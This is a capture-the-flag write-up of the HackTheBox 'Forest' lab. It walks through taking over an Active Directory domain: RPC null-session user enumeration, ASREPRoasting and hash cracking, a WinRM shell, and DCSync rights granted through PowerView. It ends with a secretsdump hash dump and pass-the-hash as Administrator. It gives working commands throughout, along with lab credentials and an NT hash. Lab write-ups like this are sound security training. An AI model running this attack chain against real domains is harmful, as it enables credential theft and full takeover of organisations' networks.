Forest

Enumeration

As usual, we start with an nmap scan, in order to find open ports in the target machine.

The following nmap command will scan the target machine looking for open ports quickly and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.161 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

As we see, there are quite a lot of ports open.

Let's try to obtain the services and versions of these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 10.10.10.161 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

It looks like we are facing an Active Directory. In this type of machines, I always like to start by trying to get a list of the domain users. I tried to log in into the RPC service with a null session.

rpcclient -U "" 10.10.10.161 -N

  • -U set the network username.

  • -N don't ask for password.

And I got in. There is a great article, which explains various forms of enumerating a domain controller from the RPC service. One of them, is to list the domain users with the enumdomusers command:

rpcclient -U "" 10.10.10.161 -N -c "enumdomusers"

  • -U set the network username.

  • -N don't ask for password.

  • -N execute command.

Then, I cleaned the output of the command and dumped it into a file.

rpcclient -U '' 10.10.10.161 -N -c "enumdomusers" | grep -oP "\[.*?\]" | grep "0x" -v | tr -d "[]" > users

Exploitation

Now that I had a list of users, I could try an ASREPRoast attack.

ASREPRoast attack: when a user does not need pre-authentication, it is possible to obtain a TGT, without knowing the user's credentials, which contains data encrypted with the user's hash, which can be used for offline cracking.

impacket-GetNPUsers htb.local/ -no-pass -usersfile users

  • -no-pass don't ask for password.

  • -usersfile file which contains user per line.

And I got a hash. Next, I put the password in a file, tried to break it with john, and I got the password.

john --wordlist=/usr/share/wordlists/rockyou.txt hash

At this point, I checked with crackmapexec if I could get a shell as the user svc-alfresco.

crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'

Now, I knew I could get a shell as the svc-alfresco user and grab the user flag.

evil-winrm -i 10.10.10.161 -u "svc-alfresco" -p "s3rvice"

  • -i remote host IP address.

  • -u username.

  • -p password.

Privilege Escalation

Let's upload SharpHound to the machine to discover attack paths. Evil-winrm has the upload functionality with which you can transfer files from your local machine to the victim machine.

upload /home/alfa8sa/Documentos/tools/SharpHound.ps1

Then we import the module.

Import-Module .\SharpHound.ps1

And we execute it.

Invoke-BloodHound -CollectionMethod All

Let's download the .zip file with the download functionality from evil-winrm.

download 20220207083033_BloodHound.zip

Now, we have to start BloodHound. First, we have to start neo4j.

neo4j console

Then we will search for the localhost on port 4747 and log in with the username neo4j and password neo4j. You’ll have to change the password.

On a new console, run BloodHound.

bloodhound -nosandbox

Then log in with the credentials you have set earlier.

Then, click on the Upload Data button on the right section and select the .zip file.

Once all the .json files are uploaded go to the Analysis section, click on the "Find AS-REP Roastable Users (DontReqPreAuth)", right click on the svc-alfresco user and click on "Mark User as Owned".

Now let's see the shortest path to the admin user from our owned user.

And we see there is a path.

We see the user svc-alfresco has permission to modify the DACL (Discretionary Access Control List) on the domain, which means you can grant yourself any privilege you want on the object.

The idea here is to set the user svc-alfresco as a member of the Exchange Windows Permissions, and grant this user the DcSync privileges. Then we could grab the password NTLM hashes of all the principals on the domain.

A user with the DCSync permission impersonates a Domain Controller and requests account password data from the targeted Domain Controller.

First, let's add the svc-alfresco to the Exchange Windows Permissions group.

net group "Exchange Windows Permission" svc-alfresco /add /domain

Then, we need to create a PSCredential object.

$SecPassword = ConvertTo-SecureString 's3rvice' -AsPlainText -Force

$Cred = New-Object System.Management.Automation.PSCredential('htb.local\svc-alfresco', $SecPassword)

To grant yourself the DcSync privilege, you will need to use the Add-DomainObjectAcl command, which is from the PowerView.ps1 module. Same as before, let's upload the script to the machine and execute it.

upload /home/alfa8sa/Documentos/tools/privEsc/PowerView.ps1

. .\PowerView.ps1

Now we can run the command which will give the svc-alfresco user the DCSync privilege.

Add-DomainAcl -Credential $Cred -PrincipalIdentity 'svc-alfresco' -TargetIdentity 'HTB.LOCAL\Domain Admins' -Rights DCSync

Now, we can dump the NTLM hashes with Mimikatz, or remotely with secretsdump.

impacket-secretsdump htb.local/svc-alfresco@10.10.10.161

Password: s3rvice

Now that we have the Administrator NTLM password hash, we can get a shell with a PassTheHash attack.

A Pass-the-Hash attack is a technique where an attacker captures a password hash and then simply passes it through for authentication.

This attack exploits the authentication protocol, as the passwords hash remains static for every session until the password is rotated.

Finally, let's execute evil-winrm with the -H flag to get a shell as the administrator user. And all we have to do is reap the harvest and take the root flag.

evil-winrm -i 10.10.10.161 -u "Administrator" -H 32693b11e6aa90eb43d32c72a07ceea6

  • -i remote host IP address.

  • -u username.

  • -H NT hash.

Last updated

Was this helpful?